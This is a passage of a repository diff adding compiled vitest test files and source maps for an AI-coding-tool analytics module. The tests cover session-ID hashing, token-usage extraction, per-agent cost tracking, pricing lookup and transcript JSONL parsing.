// Should be 16-char hex hash
expect(sessionId).toMatch(/^[a-f0-9]{16}$/i);
});
it('should be consistent for same non-standard path', () => {
const path = '/some/random/path/transcript.jsonl';
const sessionId1 = extractSessionId(path);
const sessionId2 = extractSessionId(path);
expect(sessionId1).toBe(sessionId2);
});
it('should produce different hashes for different paths', () => {
const path1 = '/path/one/transcript.jsonl';
const path2 = '/path/two/transcript.jsonl';
const hash1 = extractSessionId(path1);
const hash2 = extractSessionId(path2);
expect(hash1).not.toBe(hash2);
});
it('should handle very long paths', () => {
const longPath = '/very/long/path/with/many/.claude/projects/a1b2c3d4e5f6abcd/and/more/directories/transcript.jsonl';
const sessionId = extractSessionId(longPath);
expect(sessionId).toBe('a1b2c3d4e5f6abcd');
});
it('should match first projects/ pattern', () => {
const path = '/home/.claude/projects/a1b2c3d412345678/other/projects/a1b2c3d487654321/transcript.jsonl';
const sessionId = extractSessionId(path);
expect(sessionId).toBe('a1b2c3d412345678');
});
it('should handle null input gracefully', () => {
const sessionId = extractSessionId(null);
// Should return a valid 16-char hex hash (not throw)
expect(sessionId).toMatch(/^[a-f0-9]{16}$/i);
expect(sessionId).toBe('ad921d6048636625'); // MD5 of 'unknown'
});
it('should handle undefined input gracefully', () => {
const sessionId = extractSessionId(undefined);
// Should return a valid 16-char hex hash (not throw)
expect(sessionId).toMatch(/^[a-f0-9]{16}$/i);
expect(sessionId).toBe('ad921d6048636625'); // MD5 of 'unknown'
});
it('should handle empty string', () => {
const sessionId = extractSessionId('');
// Should return a valid 16-char hex hash (not throw)
expect(sessionId).toMatch(/^[a-f0-9]{16}$/i);
expect(sessionId).toBe('ad921d6048636625'); // MD5 of 'unknown'
});
});
});
//# sourceMappingURL=output-estimator.test.js.map

File diff suppressed because one or more lines are too long

2
dist/__tests__/analytics/token-extractor.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=token-extractor.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"token-extractor.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/token-extractor.test.ts"],"names":[],"mappings":""}

165
dist/__tests__/analytics/token-extractor.test.js generated vendored Normal file
View File

@@ -0,0 +1,165 @@
import { describe, it, expect, beforeEach } from 'vitest';
import { extractTokens, createSnapshot } from '../../analytics/token-extractor.js';
describe('TokenExtractor', () => {
let mockStdin;
beforeEach(() => {
mockStdin = {
transcript_path: '/path/to/transcript.jsonl',
cwd: '/home/user',
model: {
id: 'claude-sonnet-4-5-20250929',
display_name: 'Claude Sonnet 4.5'
},
context_window: {
context_window_size: 200000,
used_percentage: 35,
current_usage: {
input_tokens: 1000,
cache_creation_input_tokens: 500,
cache_read_input_tokens: 2000
}
}
};
});
describe('extractTokens', () => {
it('should extract tokens from StatuslineStdin without previous snapshot', () => {
const result = extractTokens(mockStdin, null, 'claude-sonnet-4-5-20250929');
expect(result.inputTokens).toBe(1000);
expect(result.cacheCreationTokens).toBe(500);
expect(result.cacheReadTokens).toBe(2000);
expect(result.modelName).toBe('claude-sonnet-4-5-20250929');
expect(result.isEstimated).toBe(true);
expect(result.timestamp).toBeDefined();
expect(result.agentName).toBeUndefined();
});
it('should calculate correct deltas with previous snapshot', () => {
const previousSnapshot = {
inputTokens: 600,
cacheCreationTokens: 200,
cacheReadTokens: 1000,
timestamp: '2026-01-24T00:00:00.000Z'
};
const result = extractTokens(mockStdin, previousSnapshot, 'claude-sonnet-4-5-20250929');
// Deltas: current - previous
expect(result.inputTokens).toBe(400); // 1000 - 600
expect(result.cacheCreationTokens).toBe(300); // 500 - 200
expect(result.cacheReadTokens).toBe(1000); // 2000 - 1000
});
it('should estimate output tokens for Haiku (30% ratio)', () => {
const result = extractTokens(mockStdin, null, 'claude-haiku-4-5-20251001');
// 1000 input tokens * 30% = 300
expect(result.outputTokens).toBe(300);
});
it('should estimate output tokens for Sonnet (40% ratio)', () => {
const result = extractTokens(mockStdin, null, 'claude-sonnet-4-5-20250929');
// 1000 input tokens * 40% = 400
expect(result.outputTokens).toBe(400);
});
it('should estimate output tokens for Opus (50% ratio)', () => {
const result = extractTokens(mockStdin, null, 'claude-opus-4-6-20260205');
// 1000 input tokens * 50% = 500
expect(result.outputTokens).toBe(500);
});
it('should handle zero output tokens correctly', () => {
mockStdin.context_window.current_usage = {
input_tokens: 0,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0
};
const result = extractTokens(mockStdin, null, 'claude-sonnet-4-5-20250929');
expect(result.outputTokens).toBe(0);
expect(result.inputTokens).toBe(0);
});
it('should include agentName when provided', () => {
const result = extractTokens(mockStdin, null, 'claude-sonnet-4-5-20250929', 'test-agent');
expect(result.agentName).toBe('test-agent');
});
it('should handle missing usage data gracefully', () => {
mockStdin.context_window.current_usage = undefined;
const result = extractTokens(mockStdin, null, 'claude-sonnet-4-5-20250929');
expect(result.inputTokens).toBe(0);
expect(result.outputTokens).toBe(0);
expect(result.cacheCreationTokens).toBe(0);
expect(result.cacheReadTokens).toBe(0);
});
it('should handle undefined context_window gracefully', () => {
// Create stdin with undefined context_window
const stdinWithoutContext = {
...mockStdin,
context_window: undefined
};
const result = extractTokens(stdinWithoutContext, null, 'claude-sonnet-4-5-20250929');
expect(result.inputTokens).toBe(0);
expect(result.outputTokens).toBe(0);
expect(result.cacheCreationTokens).toBe(0);
expect(result.cacheReadTokens).toBe(0);
});
it('should handle undefined context_window.current_usage gracefully', () => {
// Create stdin with context_window but no current_usage
const stdinWithoutUsage = {
...mockStdin,
context_window: {
...mockStdin.context_window,
current_usage: undefined
}
};
const result = extractTokens(stdinWithoutUsage, null, 'claude-sonnet-4-5-20250929');
expect(result.inputTokens).toBe(0);
expect(result.outputTokens).toBe(0);
expect(result.cacheCreationTokens).toBe(0);
expect(result.cacheReadTokens).toBe(0);
});
it('should ensure non-negative deltas', () => {
const previousSnapshot = {
inputTokens: 2000, // Greater than current
cacheCreationTokens: 1000,
cacheReadTokens: 3000,
timestamp: '2026-01-24T00:00:00.000Z'
};
const result = extractTokens(mockStdin, previousSnapshot, 'claude-sonnet-4-5-20250929');
// Should clamp to 0 if delta is negative
expect(result.inputTokens).toBe(0); // max(0, 1000 - 2000)
});
});
describe('createSnapshot', () => {
it('should create snapshot from current usage', () => {
const snapshot = createSnapshot(mockStdin);
expect(snapshot.inputTokens).toBe(1000);
expect(snapshot.cacheCreationTokens).toBe(500);
expect(snapshot.cacheReadTokens).toBe(2000);
expect(snapshot.timestamp).toBeDefined();
});
it('should handle missing usage data in snapshot', () => {
mockStdin.context_window.current_usage = undefined;
const snapshot = createSnapshot(mockStdin);
expect(snapshot.inputTokens).toBe(0);
expect(snapshot.cacheCreationTokens).toBe(0);
expect(snapshot.cacheReadTokens).toBe(0);
});
it('should create fresh timestamp for each snapshot', () => {
const snapshot1 = createSnapshot(mockStdin);
const snapshot2 = createSnapshot(mockStdin);
// Timestamps should be different (or very close if fast)
expect(snapshot1.timestamp).toBeDefined();
expect(snapshot2.timestamp).toBeDefined();
});
it('should handle undefined context_window in snapshot', () => {
// TEST FIRST: This test should FAIL before the fix
const stdinWithoutContextWindow = {
transcript_path: '/path/to/transcript.jsonl',
cwd: '/home/user',
model: {
id: 'claude-sonnet-4-5-20250929',
display_name: 'Claude Sonnet 4.5'
},
context_window: undefined
};
const snapshot = createSnapshot(stdinWithoutContextWindow);
expect(snapshot.inputTokens).toBe(0);
expect(snapshot.cacheCreationTokens).toBe(0);
expect(snapshot.cacheReadTokens).toBe(0);
expect(snapshot.timestamp).toBeDefined();
});
});
});
//# sourceMappingURL=token-extractor.test.js.map

1
dist/__tests__/analytics/token-extractor.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/analytics/token-tracker.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=token-tracker.test.d.ts.map

1
dist/__tests__/analytics/token-tracker.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"token-tracker.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/token-tracker.test.ts"],"names":[],"mappings":""}

189
dist/__tests__/analytics/token-tracker.test.js generated vendored Normal file
View File

@@ -0,0 +1,189 @@
import { describe, it, expect, beforeEach } from 'vitest';
import { resetTokenTracker } from '../../analytics/token-tracker.js';
describe('TokenTracker.getTopAgents', () => {
beforeEach(() => {
// Reset the singleton before each test
resetTokenTracker('test-session');
});
it('returns empty array when no usage recorded', async () => {
const tracker = resetTokenTracker('test-session');
const result = await tracker.getTopAgents(5);
expect(result).toEqual([]);
});
it('returns agents sorted by cost descending', async () => {
const tracker = resetTokenTracker('test-session');
// Record usage for multiple agents
await tracker.recordTokenUsage({
agentName: 'executor',
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
await tracker.recordTokenUsage({
agentName: 'architect',
modelName: 'claude-opus-4.6', // More expensive model
inputTokens: 2000,
outputTokens: 1000,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
const result = await tracker.getTopAgents(5);
// architect should be first (more expensive model)
expect(result[0].agent).toBe('architect');
expect(result[1].agent).toBe('executor');
expect(result[0].cost).toBeGreaterThan(result[1].cost);
});
it('respects the limit parameter', async () => {
const tracker = resetTokenTracker('test-session');
// Record usage for 5 agents
for (let i = 0; i < 5; i++) {
await tracker.recordTokenUsage({
agentName: `agent-${i}`,
modelName: 'claude-sonnet-4.5',
inputTokens: (5 - i) * 1000, // Different amounts
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
}
const result = await tracker.getTopAgents(2);
expect(result).toHaveLength(2);
});
it('aggregates multiple usages for same agent', async () => {
const tracker = resetTokenTracker('test-session');
// Record multiple usages for same agent
await tracker.recordTokenUsage({
agentName: 'executor',
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
await tracker.recordTokenUsage({
agentName: 'executor',
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
const result = await tracker.getTopAgents(5);
expect(result).toHaveLength(1);
expect(result[0].agent).toBe('executor');
expect(result[0].tokens).toBe(3000); // 2 * (1000 + 500)
});
it('uses "(main session)" for entries without agentName', async () => {
const tracker = resetTokenTracker('test-session');
await tracker.recordTokenUsage({
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
const result = await tracker.getTopAgents(5);
expect(result[0].agent).toBe('(main session)');
});
it('handles mixed agents with and without names', async () => {
const tracker = resetTokenTracker('test-session');
// Main session usage
await tracker.recordTokenUsage({
modelName: 'claude-sonnet-4.5',
inputTokens: 500,
outputTokens: 250,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
// Named agent usage
await tracker.recordTokenUsage({
agentName: 'executor',
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
const result = await tracker.getTopAgents(5);
expect(result).toHaveLength(2);
expect(result.map(r => r.agent).sort()).toEqual(['(main session)', 'executor'].sort());
});
it('calculates cost correctly across different models', async () => {
const tracker = resetTokenTracker('test-session');
// Haiku (cheaper)
await tracker.recordTokenUsage({
agentName: 'cheap-agent',
modelName: 'claude-3-5-haiku-20241022',
inputTokens: 10000,
outputTokens: 5000,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
// Opus (expensive)
await tracker.recordTokenUsage({
agentName: 'expensive-agent',
modelName: 'claude-opus-4.6',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
const result = await tracker.getTopAgents(5);
// Even with 10x more tokens, haiku might still be cheaper than opus
// We just verify that cost is calculated (not zero) and ordering is by cost
expect(result[0].cost).toBeGreaterThan(0);
expect(result[1].cost).toBeGreaterThan(0);
expect(result[0].cost).toBeGreaterThan(result[1].cost);
});
it('includes cache tokens in cost calculation', async () => {
const tracker = resetTokenTracker('test-session');
// Usage with cache
await tracker.recordTokenUsage({
agentName: 'cached-agent',
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 500,
cacheReadTokens: 200
});
// Usage without cache
await tracker.recordTokenUsage({
agentName: 'uncached-agent',
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
const result = await tracker.getTopAgents(5);
// Cached agent should have higher cost due to cache creation
const cachedAgent = result.find(r => r.agent === 'cached-agent');
const uncachedAgent = result.find(r => r.agent === 'uncached-agent');
expect(cachedAgent).toBeDefined();
expect(uncachedAgent).toBeDefined();
expect(cachedAgent.cost).toBeGreaterThan(uncachedAgent.cost);
});
it('returns agents in stable order when costs are equal', async () => {
const tracker = resetTokenTracker('test-session');
// Record identical usage for multiple agents
for (let i = 0; i < 3; i++) {
await tracker.recordTokenUsage({
agentName: `agent-${i}`,
modelName: 'claude-sonnet-4.5',
inputTokens: 1000,
outputTokens: 500,
cacheCreationTokens: 0,
cacheReadTokens: 0
});
}
const result1 = await tracker.getTopAgents(5);
const result2 = await tracker.getTopAgents(5);
// Results should be consistent
expect(result1).toHaveLength(3);
expect(result2).toHaveLength(3);
expect(result1.map(r => r.agent)).toEqual(result2.map(r => r.agent));
});
});
//# sourceMappingURL=token-tracker.test.js.map

1
dist/__tests__/analytics/token-tracker.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/analytics/tokscale-adapter.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=tokscale-adapter.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"tokscale-adapter.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/tokscale-adapter.test.ts"],"names":[],"mappings":""}

79
dist/__tests__/analytics/tokscale-adapter.test.js generated vendored Normal file
View File

@@ -0,0 +1,79 @@
import { describe, it, expect, beforeEach } from 'vitest';
import { getTokscaleAdapter, lookupPricingWithFallback, isTokscaleAvailable, resetAdapterCache } from '../../analytics/tokscale-adapter.js';
describe('tokscale-adapter', () => {
beforeEach(() => {
// Reset the cached adapter before each test
resetAdapterCache();
});
describe('getTokscaleAdapter', () => {
it('returns adapter with isAvailable property', async () => {
const adapter = await getTokscaleAdapter();
expect(adapter).toHaveProperty('isAvailable');
expect(typeof adapter.isAvailable).toBe('boolean');
});
it('caches adapter instance', async () => {
const adapter1 = await getTokscaleAdapter();
const adapter2 = await getTokscaleAdapter();
expect(adapter1).toBe(adapter2);
});
it('returns adapter with expected properties when available', async () => {
const adapter = await getTokscaleAdapter();
// Even when unavailable, should have isAvailable property
expect(adapter).toHaveProperty('isAvailable');
});
});
describe('lookupPricingWithFallback', () => {
it('returns pricing for known models', async () => {
const pricing = await lookupPricingWithFallback('claude-sonnet-4.5');
expect(pricing).toHaveProperty('inputPerMillion');
expect(pricing).toHaveProperty('outputPerMillion');
expect(pricing.inputPerMillion).toBeGreaterThan(0);
expect(pricing.outputPerMillion).toBeGreaterThan(0);
});
it('returns pricing for haiku model', async () => {
const pricing = await lookupPricingWithFallback('claude-haiku-4');
// Tokscale returns live pricing from LiteLLM database
expect(pricing.inputPerMillion).toBeGreaterThan(0);
expect(pricing.outputPerMillion).toBeGreaterThan(0);
expect(pricing.outputPerMillion).toBeGreaterThan(pricing.inputPerMillion);
});
it('returns pricing for opus model', async () => {
const pricing = await lookupPricingWithFallback('claude-opus-4.6');
// Tokscale returns live pricing from LiteLLM database
expect(pricing.inputPerMillion).toBeGreaterThan(0);
expect(pricing.outputPerMillion).toBeGreaterThan(0);
expect(pricing.outputPerMillion).toBeGreaterThan(pricing.inputPerMillion);
});
it('returns default pricing for unknown models', async () => {
const pricing = await lookupPricingWithFallback('unknown-model-xyz');
expect(pricing).toBeDefined();
expect(pricing).toHaveProperty('inputPerMillion');
expect(pricing).toHaveProperty('outputPerMillion');
});
it('includes cache pricing fields', async () => {
const pricing = await lookupPricingWithFallback('claude-sonnet-4.5');
expect(pricing).toHaveProperty('cacheWriteMarkup');
expect(pricing).toHaveProperty('cacheReadDiscount');
});
});
describe('isTokscaleAvailable', () => {
it('returns a boolean', async () => {
const available = await isTokscaleAvailable();
expect(typeof available).toBe('boolean');
});
});
describe('resetAdapterCache', () => {
it('clears the cached adapter', async () => {
// Get adapter to populate cache
const adapter1 = await getTokscaleAdapter();
// Reset cache
resetAdapterCache();
// Get adapter again - should create new instance
const adapter2 = await getTokscaleAdapter();
// Both should have same structure but might be different instances
// depending on whether tokscale is available
expect(adapter2).toHaveProperty('isAvailable');
});
});
});
//# sourceMappingURL=tokscale-adapter.test.js.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"tokscale-adapter.test.js","sourceRoot":"","sources":["../../../src/__tests__/analytics/tokscale-adapter.test.ts"],"names":[],"mappings":"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"}

2
dist/__tests__/analytics/transcript-parser.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=transcript-parser.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"transcript-parser.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/transcript-parser.test.ts"],"names":[],"mappings":""}

285
dist/__tests__/analytics/transcript-parser.test.js generated vendored Normal file
View File

@@ -0,0 +1,285 @@
import { vi, describe, it, expect } from 'vitest';
import * as fs from 'fs';
import { join } from 'path';
import { parseTranscript, loadTranscript } from '../../analytics/transcript-parser.js';
describe('transcript-parser', () => {
const fixturesDir = join(__dirname, '..', 'fixtures');
const sampleTranscriptPath = join(fixturesDir, 'sample-transcript.jsonl');
describe('parseTranscript()', () => {
it('yields entries in order', async () => {
const entries = [];
for await (const entry of parseTranscript(sampleTranscriptPath)) {
entries.push(entry);
}
expect(entries).toHaveLength(5);
// Verify order is preserved
expect(entries[0]).toMatchObject({
type: 'assistant',
sessionId: 'test-session-1',
timestamp: '2026-01-24T01:00:00.000Z',
});
expect(entries[1]).toMatchObject({
type: 'assistant',
sessionId: 'test-session-1',
timestamp: '2026-01-24T01:01:00.000Z',
});
expect(entries[4]).toMatchObject({
type: 'assistant',
sessionId: 'test-session-1',
timestamp: '2026-01-24T01:03:00.000Z',
});
});
it('parses usage data correctly', async () => {
const entries = [];
for await (const entry of parseTranscript(sampleTranscriptPath)) {
entries.push(entry);
}
const firstEntry = entries[0];
expect(firstEntry.message.usage).toEqual({
input_tokens: 100,
output_tokens: 50,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0,
});
const secondEntry = entries[1];
expect(secondEntry.message.usage).toEqual({
input_tokens: 200,
output_tokens: 80,
cache_creation_input_tokens: 500,
cache_read_input_tokens: 1000,
});
});
it('handles malformed JSON lines gracefully with default warning', async () => {
const tempPath = join(fixturesDir, 'malformed-test.jsonl');
const content = [
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:00:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":10,"output_tokens":5,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
'INVALID JSON LINE',
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:01:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":20,"output_tokens":10,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
].join('\n');
fs.writeFileSync(tempPath, content);
const consoleWarnSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
try {
const entries = [];
for await (const entry of parseTranscript(tempPath)) {
entries.push(entry);
}
expect(entries).toHaveLength(2);
expect(consoleWarnSpy).toHaveBeenCalledWith(expect.stringContaining('[transcript-parser] Skipping malformed line'));
}
finally {
consoleWarnSpy.mockRestore();
fs.unlinkSync(tempPath);
}
});
it('handles malformed JSON lines gracefully with custom error handler', async () => {
const tempPath = join(fixturesDir, 'malformed-custom-test.jsonl');
const content = [
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:00:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":10,"output_tokens":5,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
'INVALID JSON LINE',
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:01:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":20,"output_tokens":10,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
].join('\n');
fs.writeFileSync(tempPath, content);
const errors = [];
const onParseError = (line, error) => {
errors.push({ line, error });
};
try {
const entries = [];
for await (const entry of parseTranscript(tempPath, { onParseError })) {
entries.push(entry);
}
expect(entries).toHaveLength(2);
expect(errors).toHaveLength(1);
expect(errors[0].line).toBe('INVALID JSON LINE');
expect(errors[0].error).toBeInstanceOf(Error);
}
finally {
fs.unlinkSync(tempPath);
}
});
it('respects AbortSignal', async () => {
const controller = new AbortController();
const entries = [];
let count = 0;
for await (const entry of parseTranscript(sampleTranscriptPath, {
signal: controller.signal,
})) {
entries.push(entry);
count++;
if (count === 2) {
controller.abort();
}
}
expect(entries.length).toBeLessThan(5); // Should stop early
expect(entries).toHaveLength(2);
});
it('handles empty files', async () => {
const tempPath = join(fixturesDir, 'empty-test.jsonl');
fs.writeFileSync(tempPath, '');
try {
const entries = [];
for await (const entry of parseTranscript(tempPath)) {
entries.push(entry);
}
expect(entries).toHaveLength(0);
}
finally {
fs.unlinkSync(tempPath);
}
});
it('handles files with only empty lines', async () => {
const tempPath = join(fixturesDir, 'empty-lines-test.jsonl');
fs.writeFileSync(tempPath, '\n\n\n\n');
try {
const entries = [];
for await (const entry of parseTranscript(tempPath)) {
entries.push(entry);
}
expect(entries).toHaveLength(0);
}
finally {
fs.unlinkSync(tempPath);
}
});
it('throws if file does not exist', async () => {
const nonExistentPath = join(fixturesDir, 'non-existent.jsonl');
await expect(async () => {
// eslint-disable-next-line @typescript-eslint/no-unused-vars
for await (const entry of parseTranscript(nonExistentPath)) {
// Should not reach here
}
}).rejects.toThrow('Transcript file not found');
});
it('handles files with whitespace lines', async () => {
const tempPath = join(fixturesDir, 'whitespace-test.jsonl');
const content = [
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:00:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":10,"output_tokens":5,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
' ',
'\t\t',
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:01:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":20,"output_tokens":10,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
].join('\n');
fs.writeFileSync(tempPath, content);
try {
const entries = [];
for await (const entry of parseTranscript(tempPath)) {
entries.push(entry);
}
expect(entries).toHaveLength(2);
}
finally {
fs.unlinkSync(tempPath);
}
});
it('streams large files efficiently without loading all into memory', async () => {
// Create a large file with many entries
const tempPath = join(fixturesDir, 'large-test.jsonl');
const entryTemplate = {
type: 'assistant',
sessionId: 'large-test',
timestamp: '2026-01-24T00:00:00.000Z',
message: {
model: 'claude-sonnet-4-5-20250929',
role: 'assistant',
usage: {
input_tokens: 100,
output_tokens: 50,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0,
},
},
};
// Write 10,000 entries
